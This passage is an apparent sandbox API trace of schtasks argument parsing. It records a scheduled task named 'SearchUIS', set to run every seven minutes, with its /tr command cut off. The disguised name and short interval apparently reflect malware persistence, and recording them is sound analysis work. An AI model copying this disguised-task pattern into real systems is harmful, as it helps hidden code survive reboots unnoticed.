_ArgList=0x476069f4b8 | out: _Buffer="|showsid|") returned 9 [0126.678] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tn|") returned 4 [0126.678] lstrlenW (lpString="|showsid|") returned 9 [0126.678] lstrlenW (lpString="|tn|") returned 4 [0126.678] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0126.678] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.678] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.678] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.678] lstrlenW (lpString="/tn") returned 3 [0126.678] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0126.678] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.678] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.678] lstrlenW (lpString="/tn") returned 3 [0126.678] GetProcessHeap () returned 0x1769e910000 [0126.678] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x8) returned 0x1769e914370 [0126.678] GetProcessHeap () returned 0x1769e910000 [0126.678] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91bb00 [0126.678] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.678] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.678] lstrlenW (lpString="SearchUIS") returned 9 [0126.678] lstrlenW (lpString="-/") returned 2 [0126.679] StrChrIW (lpStart="-/", wMatch=0x53) returned 0x0 [0126.679] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.679] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.679] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.679] lstrlenW (lpString="SearchUIS") returned 9 [0126.679] StrChrIW (lpStart="SearchUIS", wMatch=0x3a) returned 0x0 [0126.679] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.679] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.679] lstrlenW (lpString="SearchUIS") returned 9 [0126.679] GetProcessHeap () returned 0x1769e910000 [0126.679] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x14) returned 0x1769e9146f0 [0126.679] GetProcessHeap () returned 0x1769e910000 [0126.679] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91bad0 [0126.679] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.679] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.679] lstrlenW (lpString="/sc") returned 3 [0126.679] lstrlenW (lpString="-/") returned 2 [0126.679] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.679] lstrlenW (lpString="?") returned 1 [0126.679] lstrlenW (lpString="?") returned 1 [0126.679] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.679] lstrlenW (lpString="sc") returned 2 [0126.679] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.679] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|?|") returned 3 [0126.679] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|sc|") returned 4 [0126.679] lstrlenW (lpString="|?|") returned 3 [0126.679] lstrlenW (lpString="|sc|") returned 4 [0126.679] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.679] lstrlenW (lpString="create") returned 6 [0126.679] lstrlenW (lpString="create") returned 6 [0126.679] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.680] lstrlenW (lpString="sc") returned 2 [0126.680] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.680] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|create|") returned 8 [0126.680] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|sc|") returned 4 [0126.680] lstrlenW (lpString="|create|") returned 8 [0126.680] lstrlenW (lpString="|sc|") returned 4 [0126.680] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0126.680] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.680] lstrlenW (lpString="delete") returned 6 [0126.680] lstrlenW (lpString="delete") returned 6 [0126.680] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.680] lstrlenW (lpString="sc") returned 2 [0126.680] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.680] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|delete|") returned 8 [0126.680] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|sc|") returned 4 [0126.680] lstrlenW (lpString="|delete|") returned 8 [0126.680] lstrlenW (lpString="|sc|") returned 4 [0126.680] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0126.680] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.680] lstrlenW (lpString="query") returned 5 [0126.680] lstrlenW (lpString="query") returned 5 [0126.680] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.680] lstrlenW (lpString="sc") returned 2 [0126.680] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.680] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|query|") returned 7 [0126.680] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|sc|") returned 4 [0126.681] lstrlenW (lpString="|query|") returned 7 [0126.681] lstrlenW (lpString="|sc|") returned 4 [0126.681] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0126.681] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.681] lstrlenW (lpString="change") returned 6 [0126.681] lstrlenW (lpString="change") returned 6 [0126.681] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.681] lstrlenW (lpString="sc") returned 2 [0126.681] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.681] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|change|") returned 8 [0126.681] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|sc|") returned 4 [0126.681] lstrlenW (lpString="|change|") returned 8 [0126.681] lstrlenW (lpString="|sc|") returned 4 [0126.681] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0126.681] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.681] lstrlenW (lpString="run") returned 3 [0126.681] lstrlenW (lpString="run") returned 3 [0126.681] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.681] lstrlenW (lpString="sc") returned 2 [0126.681] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.681] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|run|") returned 5 [0126.681] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|sc|") returned 4 [0126.681] lstrlenW (lpString="|run|") returned 5 [0126.681] lstrlenW (lpString="|sc|") returned 4 [0126.681] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0126.681] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.681] lstrlenW (lpString="end") returned 3 [0126.681] lstrlenW (lpString="end") returned 3 [0126.681] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.682] lstrlenW (lpString="sc") returned 2 [0126.682] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.682] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|end|") returned 5 [0126.682] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|sc|") returned 4 [0126.682] lstrlenW (lpString="|end|") returned 5 [0126.682] lstrlenW (lpString="|sc|") returned 4 [0126.682] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0126.682] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.682] lstrlenW (lpString="showsid") returned 7 [0126.682] lstrlenW (lpString="showsid") returned 7 [0126.682] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.682] lstrlenW (lpString="sc") returned 2 [0126.682] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.682] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|showsid|") returned 9 [0126.682] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|sc|") returned 4 [0126.682] lstrlenW (lpString="|showsid|") returned 9 [0126.682] lstrlenW (lpString="|sc|") returned 4 [0126.682] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0126.682] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.682] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.682] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.682] lstrlenW (lpString="/sc") returned 3 [0126.682] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0126.682] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.682] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.682] lstrlenW (lpString="/sc") returned 3 [0126.682] GetProcessHeap () returned 0x1769e910000 [0126.682] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x8) returned 0x1769e914710 [0126.683] GetProcessHeap () returned 0x1769e910000 [0126.683] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b9e0 [0126.683] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.683] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.683] lstrlenW (lpString="MINUTE") returned 6 [0126.683] lstrlenW (lpString="-/") returned 2 [0126.683] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0126.683] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.683] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.683] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.683] lstrlenW (lpString="MINUTE") returned 6 [0126.683] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0126.683] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.683] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.683] lstrlenW (lpString="MINUTE") returned 6 [0126.683] GetProcessHeap () returned 0x1769e910000 [0126.683] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0xe) returned 0x1769e914730 [0126.683] GetProcessHeap () returned 0x1769e910000 [0126.683] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b470 [0126.683] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.683] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.683] lstrlenW (lpString="/mo") returned 3 [0126.683] lstrlenW (lpString="-/") returned 2 [0126.683] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.683] lstrlenW (lpString="?") returned 1 [0126.683] lstrlenW (lpString="?") returned 1 [0126.683] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.683] lstrlenW (lpString="mo") returned 2 [0126.683] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.683] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|?|") returned 3 [0126.683] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|mo|") returned 4 [0126.684] lstrlenW (lpString="|?|") returned 3 [0126.684] lstrlenW (lpString="|mo|") returned 4 [0126.684] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.684] lstrlenW (lpString="create") returned 6 [0126.684] lstrlenW (lpString="create") returned 6 [0126.684] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.685] lstrlenW (lpString="mo") returned 2 [0126.685] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.685] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|create|") returned 8 [0126.685] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|mo|") returned 4 [0126.685] lstrlenW (lpString="|create|") returned 8 [0126.685] lstrlenW (lpString="|mo|") returned 4 [0126.685] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0126.685] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.685] lstrlenW (lpString="delete") returned 6 [0126.685] lstrlenW (lpString="delete") returned 6 [0126.685] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.685] lstrlenW (lpString="mo") returned 2 [0126.685] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.685] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|delete|") returned 8 [0126.685] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|mo|") returned 4 [0126.685] lstrlenW (lpString="|delete|") returned 8 [0126.685] lstrlenW (lpString="|mo|") returned 4 [0126.685] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0126.686] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.686] lstrlenW (lpString="query") returned 5 [0126.686] lstrlenW (lpString="query") returned 5 [0126.686] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.686] lstrlenW (lpString="mo") returned 2 [0126.686] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.686] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|query|") returned 7 [0126.686] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|mo|") returned 4 [0126.686] lstrlenW (lpString="|query|") returned 7 [0126.686] lstrlenW (lpString="|mo|") returned 4 [0126.686] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0126.686] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.686] lstrlenW (lpString="change") returned 6 [0126.686] lstrlenW (lpString="change") returned 6 [0126.686] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.686] lstrlenW (lpString="mo") returned 2 [0126.686] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.686] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|change|") returned 8 [0126.686] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|mo|") returned 4 [0126.686] lstrlenW (lpString="|change|") returned 8 [0126.686] lstrlenW (lpString="|mo|") returned 4 [0126.686] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0126.686] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.686] lstrlenW (lpString="run") returned 3 [0126.686] lstrlenW (lpString="run") returned 3 [0126.686] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.686] lstrlenW (lpString="mo") returned 2 [0126.686] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.687] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|run|") returned 5 [0126.687] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|mo|") returned 4 [0126.687] lstrlenW (lpString="|run|") returned 5 [0126.687] lstrlenW (lpString="|mo|") returned 4 [0126.687] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0126.687] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.687] lstrlenW (lpString="end") returned 3 [0126.687] lstrlenW (lpString="end") returned 3 [0126.687] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.687] lstrlenW (lpString="mo") returned 2 [0126.687] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.687] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|end|") returned 5 [0126.687] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|mo|") returned 4 [0126.687] lstrlenW (lpString="|end|") returned 5 [0126.687] lstrlenW (lpString="|mo|") returned 4 [0126.687] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0126.687] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.687] lstrlenW (lpString="showsid") returned 7 [0126.687] lstrlenW (lpString="showsid") returned 7 [0126.687] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.687] lstrlenW (lpString="mo") returned 2 [0126.687] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.687] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|showsid|") returned 9 [0126.687] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|mo|") returned 4 [0126.687] lstrlenW (lpString="|showsid|") returned 9 [0126.687] lstrlenW (lpString="|mo|") returned 4 [0126.687] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] lstrlenW (lpString="/mo") returned 3 [0126.688] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] lstrlenW (lpString="/mo") returned 3 [0126.688] GetProcessHeap () returned 0x1769e910000 [0126.688] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x8) returned 0x1769e914750 [0126.688] GetProcessHeap () returned 0x1769e910000 [0126.688] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b920 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] lstrlenW (lpString="7") returned 1 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] lstrlenW (lpString="7") returned 1 [0126.688] StrChrIW (lpStart="7", wMatch=0x3a) returned 0x0 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] lstrlenW (lpString="7") returned 1 [0126.688] GetProcessHeap () returned 0x1769e910000 [0126.688] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x4) returned 0x1769e914770 [0126.688] GetProcessHeap () returned 0x1769e910000 [0126.688] RtlAllocateHeap (HeapHandle=0x1769e910000, Flags=0xc, Size=0x20) returned 0x1769e91b980 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.688] lstrlenW (lpString="/tr") returned 3 [0126.688] lstrlenW (lpString="-/") returned 2 [0126.688] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0126.688] lstrlenW (lpString="?") returned 1 [0126.688] lstrlenW (lpString="?") returned 1 [0126.689] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.689] lstrlenW (lpString="tr") returned 2 [0126.689] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.689] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x4, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|?|") returned 3 [0126.689] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tr|") returned 4 [0126.689] lstrlenW (lpString="|?|") returned 3 [0126.689] lstrlenW (lpString="|tr|") returned 4 [0126.689] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.689] lstrlenW (lpString="create") returned 6 [0126.689] lstrlenW (lpString="create") returned 6 [0126.689] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.689] lstrlenW (lpString="tr") returned 2 [0126.689] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.689] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|create|") returned 8 [0126.689] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tr|") returned 4 [0126.689] lstrlenW (lpString="|create|") returned 8 [0126.689] lstrlenW (lpString="|tr|") returned 4 [0126.689] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0126.689] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.689] lstrlenW (lpString="delete") returned 6 [0126.689] lstrlenW (lpString="delete") returned 6 [0126.689] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.689] lstrlenW (lpString="tr") returned 2 [0126.689] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.689] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|delete|") returned 8 [0126.689] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tr|") returned 4 [0126.689] lstrlenW (lpString="|delete|") returned 8 [0126.690] lstrlenW (lpString="|tr|") returned 4 [0126.690] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0126.690] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.690] lstrlenW (lpString="query") returned 5 [0126.690] lstrlenW (lpString="query") returned 5 [0126.690] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.690] lstrlenW (lpString="tr") returned 2 [0126.690] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.690] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x8, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|query|") returned 7 [0126.690] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tr|") returned 4 [0126.690] lstrlenW (lpString="|query|") returned 7 [0126.690] lstrlenW (lpString="|tr|") returned 4 [0126.690] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0126.690] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.690] lstrlenW (lpString="change") returned 6 [0126.690] lstrlenW (lpString="change") returned 6 [0126.690] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.690] lstrlenW (lpString="tr") returned 2 [0126.690] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.690] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x9, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|change|") returned 8 [0126.690] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tr|") returned 4 [0126.690] lstrlenW (lpString="|change|") returned 8 [0126.690] lstrlenW (lpString="|tr|") returned 4 [0126.690] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0126.690] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.690] lstrlenW (lpString="run") returned 3 [0126.690] lstrlenW (lpString="run") returned 3 [0126.690] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.691] lstrlenW (lpString="tr") returned 2 [0126.691] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.691] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|run|") returned 5 [0126.691] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tr|") returned 4 [0126.691] lstrlenW (lpString="|run|") returned 5 [0126.691] lstrlenW (lpString="|tr|") returned 4 [0126.691] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0126.691] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.691] lstrlenW (lpString="end") returned 3 [0126.691] lstrlenW (lpString="end") returned 3 [0126.691] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.691] lstrlenW (lpString="tr") returned 2 [0126.691] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.691] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0x6, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|end|") returned 5 [0126.691] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tr|") returned 4 [0126.691] lstrlenW (lpString="|end|") returned 5 [0126.691] lstrlenW (lpString="|tr|") returned 4 [0126.691] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0126.691] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.691] lstrlenW (lpString="showsid") returned 7 [0126.691] lstrlenW (lpString="showsid") returned 7 [0126.691] _memicmp (_Buf1=0x1769e914350, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.691] lstrlenW (lpString="tr") returned 2 [0126.691] _memicmp (_Buf1=0x1769e914390, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0126.691] _vsnwprintf (in: _Buffer=0x1769e9146c0, _BufferCount=0xa, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|showsid|") returned 9 [0126.691] _vsnwprintf (in: _Buffer=0x1769e9143b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x476069f4b8 | out: _Buffer="|tr|") returned 4 [0126.691] lstrlenW (lpString="|showsid|") returned 9 [0126.692] lstrlenW (lpString="|tr|") returned 4 [0126.692] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0126.692] RtlRestoreLastWin32Error () returned 0x476097e000 [0126.692] 